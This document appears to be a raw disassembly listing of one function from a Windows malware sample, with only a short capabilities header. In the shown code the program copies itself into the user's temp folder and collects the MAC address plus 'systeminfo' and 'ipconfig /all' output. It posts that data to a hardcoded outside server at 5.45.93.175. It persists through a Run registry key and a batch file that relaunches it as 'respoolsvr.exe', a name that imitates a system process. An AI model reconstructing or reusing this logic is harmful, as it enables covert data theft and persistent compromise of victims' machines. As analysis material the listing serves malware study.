Function at 0x140001660
Capabilities:
Copy file
Create directory
Create process on windows
Get mac address on windows
Query environment variable
Set registry value

Disassembly:
push rbp
push rbx
push rdi
push r13
push r14
lea rbp, [rsp - 0x1800]
mov eax, 0x1900
call fcn.1400d0610
sub rsp, rax
mov rax, qword [0x14013be00]
xor rax, rsp
mov qword [rbp + 0x17f0], rax
mov r8d, 0x104
lea rdx, [rbp + 0x240]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x13d0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov r8d, 0x104
lea rdx, [rbp + 0x30]
lea rcx, [0x1400ee608]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x30]
mov edx, 0x104
lea r8, str._sAppDataLocalTemp
lea rcx, [rbp + 0x350]
call fcn.140001060
mov r8d, 0x104
lea rdx, [rbp + 0x30]
lea rcx, [0x1400ee608]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x30]
mov edx, 0x104
lea r8, str._sAppDataLocalTemp
lea rcx, [rbp + 0xda0]
call fcn.140001060
xor edx, edx
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140001742
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x140001b39
lea rbx, [0x1400ee8b0]
mov edx, 0x104
lea r9, [rbp + 0x350]
mov qword [rsp + 0x20], rbx
lea r8, [0x1400ee8d0]
lea rcx, [rbp + 0x560]
call fcn.140001060
xor r8d, r8d
lea rdx, [rbp + 0x560]
lea rcx, [rbp + 0x13d0]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
je 0x140001b39
mov r8d, 0x104
lea rdx, [rbp + 0x30]
lea rcx, [0x1400ee608]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0x30]
mov edx, 0x104
lea r8, str._sAppDataLocal
lea rcx, [rbp + 0xda0]
call fcn.140001060
lea r9, [rbp + 0xda0]
mov qword [rsp + 0x20], rbx
lea r8, [0x1400ee8d0]
mov edx, 0x104
lea rcx, [rbp + 0x560]
call fcn.140001060
lea rax, str.downloaded.exe
mov edx, 0x104
lea r9, [rbp + 0x350]
mov qword [rsp + 0x20], rax
lea r8, [0x1400ee8d0]
lea rcx, [rbp + 0x770]
call fcn.140001060
lea rdx, [rbp + 0x770]
call fcn.140001130
test eax, eax
jne 0x140001b39
mov ecx, 0x2c0
mov dword [rsp + 0x58], 0x2c0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rcx, rax
lea rdx, [rsp + 0x58]
mov rbx, rax
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
cmp eax, 0x6f
jne 0x140001861
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov ecx, dword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
lea rdx, [rsp + 0x58]
mov rcx, rbx
call qword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
test eax, eax
jne 0x1400018cb
movzx ecx, byte [rbx + 0x19c]
movzx edx, byte [rbx + 0x19b]
movzx r8d, byte [rbx + 0x19a]
movzx eax, byte [rbx + 0x19d]
movzx r10d, byte [rbx + 0x199]
movzx r9d, byte [rbx + 0x198]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
lea rcx, [rbp]
mov dword [rsp + 0x30], edx
mov edx, reloc.WS2_32.dll_select
mov dword [rsp + 0x28], r8d
lea r8, str._02X__02X__02X__02X__02X__02X
mov dword [rsp + 0x20], r10d
call fcn.1400010c0
test rbx, rbx
je 0x1400018d9
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, 0xffffffffffffffff
lea rax, [rbp]
mov rdx, rbx
inc rdx
cmp byte [rax + rdx], 0
jne 0x1400018e7
lea r8, [rsp + 0x50]
lea rcx, [rbp]
call fcn.140001280
mov qword [rsp + 0x58], rax
test rax, rax
je 0x140001b39
lea rax, str.sys.txt
mov edx, 0x104
lea r9, [rbp + 0x350]
mov qword [rsp + 0x20], rax
lea r8, [0x1400ee8d0]
lea rcx, [rbp + 0xfb0]
call fcn.140001060
lea rax, str.ip.txt
mov edx, 0x104
lea r9, [rbp + 0x350]
mov qword [rsp + 0x20], rax
lea r8, [0x1400ee8d0]
lea rcx, [rbp + 0x11c0]
call fcn.140001060
lea rdx, [rbp + 0xfb0]
lea rcx, str.cmd.exe__C_systeminfo
call fcn.140001410
lea rdx, [rbp + 0x11c0]
lea rcx, str.cmd.exe__C_ipconfig__all
call fcn.140001410
lea rcx, [rbp + 0xfb0]
call fcn.140001590
lea rcx, [rbp + 0x11c0]
mov r14, rax
call fcn.140001590
mov rdi, rax
test r14, r14
je 0x14000200e
test rax, rax
je 0x140002000
mov qword [rsp + 0x1930], rsi
xor ecx, ecx
mov qword [rsp + 0x1940], r15
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
lea rcx, [rbp - 0x78]
mov qword [rbp - 0x78], rax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
movups xmm2, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
mov eax, dword [rax + 0x20]
movd dword [rsp + 0x40], xmm2
movdqa xmm0, xmm2
movq rdx, xmm2
movd ecx, xmm1
shr rdx, 0x20
movq r9, xmm1
mov dword [rsp + 0x38], edx
mov edx, reloc.WS2_32.dll_sendto
inc ecx
psrldq xmm0, 8
movq r8, xmm0
psrldq xmm2, 8
shr r8, 0x20
movd dword [rsp + 0x30], xmm2
mov dword [rsp + 0x28], r8d
lea r8, str._04d__02d__02d__02d:_02d:_02d
shr r9, 0x20
mov dword [rsp + 0x20], ecx
add r9d, 0x76c
lea rcx, [rbp + 0x18]
mov dword [rbp - 0x80], eax
call fcn.1400010c0
mov rax, rbx
inc rax
cmp byte [rdi + rax], 0
jne 0x140001a52
mov rcx, rbx
nop
inc rcx
cmp byte [r14 + rcx], 0
jne 0x140001a60
add rax, rcx
lea rdx, [rbp + 0x18]
mov rcx, rbx
cmp byte [rdx + rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x140001a74
lea r15, [rax + rcx]
lea rcx, [r15 + 3]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rsi, rax
test rax, rax
jne 0x140001aac
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001b29
lea rax, [rbp + 0x18]
mov qword [rsp + 0x1938], r12
mov qword [rsp + 0x28], rax
lea r8, str._s_n_s_n_s
mov r9, r14
mov qword [rsp + 0x20], rdi
lea rdx, [r15 + 3]
mov rcx, rsi
call fcn.1400010c0
mov rdx, rbx
nop dword [rax + rax]
inc rdx
cmp byte [rsi + rdx], 0
jne 0x140001ae0
lea r8, [rbp - 0x78]
mov rcx, rsi
call fcn.140001280
mov r12, rax
test rax, rax
jne 0x140001b5c
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r12, qword [rsp + 0x1938]
mov rsi, qword [rsp + 0x1930]
mov r15, qword [rsp + 0x1940]
mov eax, 1
mov rcx, qword [rbp + 0x17f0]
xor rcx, rsp
call fcn.1400d0280
add rsp, 0x1900
pop r14
pop r13
pop rdi
pop rbx
pop rbp
ret
mov r15, qword [rbp - 0x78]
add r15, qword [rsp + 0x50]
mov rcx, r15
add rcx, 0x32
cmovb rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r13, rax
test rax, rax
jne 0x140001bac
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
jmp 0x140001b1b
mov r9, qword [rsp + 0x58]
lea rdx, [r15 + 0x32]
lea r8, str._id_:__s____data_:__s_
mov qword [rsp + 0x20], r12
mov rcx, r13
call fcn.1400010c0
mov ecx, 3
call fcn.140002030
call fcn.140002630
mov r15, rax
test rax, rax
je 0x140001c14
lea r8, str.http:__5.45.93.175_overjson.php
mov edx, 0x2712
mov rcx, rax
call fcn.140004380
mov r8, r13
mov edx, 0x271f
mov rcx, r15
call fcn.140004380
mov rcx, r15
call fcn.140002710
mov rcx, r15
call fcn.140002740
call fcn.140002170
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, rsi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r12
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, r13
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov r8d, 0x104
lea rdx, [rbp + 0xb90]
lea rcx, [0x1400ee608]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0xb90]
mov edx, 0x104
lea r8, str._sAppDataLocalTemp
lea rcx, [rbp + 0x980]
call fcn.140001060
mov r8d, 0x104
lea rdx, [rbp + 0xb90]
lea rcx, [0x1400ee608]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
lea r9, [rbp + 0xb90]
mov edx, 0x104
lea r8, str._sAppDataLocal
lea rcx, [rbp + 0x15e0]
call fcn.140001060
lea r9, [rbp + 0x980]
mov edx, 0x104
lea r8, str._s_reexecute_spoolsvr.bat
lea rcx, [rbp + 0x30]
call fcn.140001060
lea rdx, [0x1400ee77c]
lea rcx, [rbp + 0x30]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__wfopen]
mov rdi, rax
test rax, rax
je 0x140001d89
lea rdx, [0x1400ee780]
mov rcx, rax
call fcn.140001010
lea r9, [rbp + 0x980]
mov rcx, rdi
lea r8, [rbp + 0x13d0]
lea rdx, str.copy___s____s__n
call fcn.140001010
lea r9, [rbp + 0x15e0]
mov rcx, rdi
lea r8, [rbp + 0x980]
lea rdx, str.copy___s_respoolsvr.exe____s__n
call fcn.140001010
lea rdx, str.timeout__t_77__nobreak_n
mov rcx, rdi
call fcn.140001010
lea r8, [rbp + 0x15e0]
mov rcx, rdi
lea rdx, str.start______s_respoolsvr.exe__n
call fcn.140001010
lea r8, [rbp + 0x770]
mov rcx, rdi
lea rdx, str.start______s__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xorps xmm0, xmm0
lea rdx, [rbp + 0x30]
xor eax, eax
xor edi, edi
mov qword [rbp - 0x10], rax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
movups xmmword [rbp - 0x70], xmm0
mov dword [rsp + 0x28], edi
movups xmmword [rbp - 0x40], xmm0
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x30], xmm0
mov dword [rbp - 0x70], 0x68
movups xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x34], 1
movups xmmword [rbp - 0x50], xmm0
mov word [rbp - 0x30], di
movups xmmword [rbp - 0x20], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001e29
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x1400ee6d8]
lea rdx, [rbp - 0x70]
movaps xmm0, xmmword [str.SoftwareMicrosoftWindowsCurrentVersionRun]
mov r9d, 2
movaps xmm1, xmmword [0x1400ee690]
xor r8d, r8d
movaps xmmword [rbp - 0x70], xmm0
mov rcx, 0xffffffff80000001
movaps xmm0, xmmword [0x1400ee6a0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [0x1400ee6c0]
mov dword [rbp - 0x18], eax
mov eax, dword [0x1400ee6f0]
movaps xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x1400ee6d0]
mov dword [rsp + 0x70], eax
movzx eax, word [0x1400ee6f4]
movsd qword [rbp - 0x20], xmm0
movups xmm0, xmmword [str.respoolsvr]
mov word [rsp + 0x74], ax
lea rax, [rsp + 0x58]
movaps xmmword [rbp - 0x60], xmm1
movaps xmm1, xmmword [0x1400ee6b0]
movups xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x20], rax
movaps xmmword [rbp - 0x40], xmm1
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea rax, [rbp + 0x560]
cmp word [rax + rbx*2 + 2], di
lea rbx, [rbx + 1]
jne 0x140001ec3
mov rcx, qword [rsp + 0x58]
lea eax, [rbx*2 + 2]
mov dword [rsp + 0x28], eax
lea rdx, [rsp + 0x60]
lea rax, [rbp + 0x560]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edx, 0x5c
lea rcx, [rbp + 0x240]
call qword [sym.imp.VCRUNTIME140.dll_strrchr]
mov rbx, rax
test rax, rax
je 0x140001f28
inc rbx
jmp 0x140001f30
lea rbx, [rbp + 0x240]
nop
lea rdx, str.respoolsvr.exe
mov rcx, rbx
call sub.api_ms_win_crt_string_l1_1_0.dll_strcmp
test eax, eax
jne 0x140001ff0
lea rdx, [rbp + 0x770]
call fcn.140001130
test eax, eax
jne 0x140001ff0
xorps xmm0, xmm0
mov dword [rbp - 0x70], 0x68
xor eax, eax
lea rdx, [rbp + 0x770]
mov dword [rbp - 0xc], eax
xor r9d, r9d
mov qword [rsp + 0x70], rax
xor r8d, r8d
lea rax, [rsp + 0x60]
xor ecx, ecx
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x70]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
movups xmmword [rbp - 0x6c], xmm0
movups xmmword [rbp - 0x5c], xmm0
movups xmmword [rbp - 0x4c], xmm0
movups xmmword [rbp - 0x3c], xmm0
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x140001ff0
mov rcx, qword [rsp + 0x60]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x493e0
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140001f30
mov rcx, r14
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001b39
test rdi, rdi
je 0x140001b39
mov rcx, rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140001b39